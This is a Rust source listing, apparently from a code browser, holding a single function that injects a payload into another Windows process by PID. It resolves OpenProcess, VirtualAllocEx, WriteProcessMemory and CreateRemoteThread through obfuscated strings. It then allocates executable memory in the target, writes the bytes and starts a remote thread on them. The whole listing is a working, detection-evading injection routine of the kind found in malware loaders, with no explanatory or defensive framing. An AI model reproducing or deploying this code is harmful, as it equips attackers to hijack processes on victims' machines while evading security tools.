(p: usize, size: usize, pid: usize)
| 1 | pub unsafe fn exec(p: usize, size: usize, pid: usize) -> Result<(), String> { |
| 2 | use std::ffi::c_void; |
| 3 | use crate::utils::{load_library, get_proc_address}; |
| 4 | use obfstr::{obfbytes, obfstr}; |
| 5 | use std::ptr::null_mut; |
| 6 | use std::mem::transmute; |
| 7 | |
| 8 | let kernel32 = load_library(obfbytes!(b"kernel32.dll\0").as_slice())?; |
| 9 | |
| 10 | let p_open_process = get_proc_address(kernel32, obfbytes!(b"OpenProcess\0").as_slice())?; |
| 11 | type OpenProcessFn = unsafe extern "system" fn(u32, i32, u32) -> *mut c_void; |
| 12 | let open_process: OpenProcessFn = transmute(p_open_process); |
| 13 | |
| 14 | let p_virtual_alloc_ex = get_proc_address(kernel32, obfbytes!(b"VirtualAllocEx\0").as_slice())?; |
| 15 | type VirtualAllocExFn = unsafe extern "system" fn(*mut c_void, *mut c_void, usize, u32, u32) -> *mut c_void; |
| 16 | let virtual_alloc_ex: VirtualAllocExFn = transmute(p_virtual_alloc_ex); |
| 17 | |
| 18 | let p_write_process_memory = get_proc_address(kernel32, obfbytes!(b"WriteProcessMemory\0").as_slice())?; |
| 19 | type WriteProcessMemoryFn = unsafe extern "system" fn(*mut c_void, *mut c_void, *const c_void, usize, *mut usize) -> i32; |
| 20 | let write_process_memory: WriteProcessMemoryFn = transmute(p_write_process_memory); |
| 21 | |
| 22 | let p_create_remote_thread = get_proc_address(kernel32, obfbytes!(b"CreateRemoteThread\0").as_slice())?; |
| 23 | type CreateRemoteThreadFn = unsafe extern "system" fn(*mut c_void, *mut c_void, usize, Option<unsafe extern "system" fn(*mut c_void) -> u32>, *mut c_void, u32, *mut u32) -> *mut c_void; |
| 24 | let create_remote_thread: CreateRemoteThreadFn = transmute(p_create_remote_thread); |
| 25 | |
| 26 | let p_close_handle = get_proc_address(kernel32, obfbytes!(b"CloseHandle\0").as_slice())?; |
| 27 | type CloseHandleFn = unsafe extern "system" fn(*mut c_void) -> i32; |
| 28 | let close_handle: CloseHandleFn = transmute(p_close_handle); |
| 29 | |
| 30 | const PROCESS_ALL_ACCESS: u32 = 0x001F0FFF; |
| 31 | const MEM_COMMIT: u32 = 0x1000; |
| 32 | const MEM_RESERVE: u32 = 0x2000; |
| 33 | const PAGE_EXECUTE_READWRITE: u32 = 0x40; |
| 34 | |
| 35 | let h_process = open_process(PROCESS_ALL_ACCESS, 0, pid as u32); |
| 36 | if h_process.is_null() { |
| 37 | return Err(obfstr!("OpenProcess failed").to_string()); |
| 38 | } |
| 39 | |
| 40 | let remote_addr = virtual_alloc_ex(h_process, null_mut(), size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); |
| 41 | if remote_addr.is_null() { |
| 42 | close_handle(h_process); |
| 43 | return Err(obfstr!("VirtualAllocEx failed").to_string()); |
| 44 | } |
| 45 | |
| 46 | let mut bytes_written = 0; |
| 47 | let res = write_process_memory(h_process, remote_addr, p as *const c_void, size, &mut bytes_written); |
| 48 | if res == 0 { |
| 49 | close_handle(h_process); |
| 50 | return Err(obfstr!("WriteProcessMemory failed").to_string()); |
| 51 | } |
| 52 | |
| 53 | let h_thread = create_remote_thread(h_process, null_mut(), 0, Some(transmute(remote_addr)), null_mut(), 0, null_mut()); |
| 54 | if h_thread.is_null() { |
| 55 | close_handle(h_process); |
| 56 | return Err(obfstr!("CreateRemoteThread failed").to_string()); |
| 57 | } |
| 58 | |
| 59 | close_handle(h_thread); |
| 60 | close_handle(h_process); |
nothing calls this directly
no test coverage detected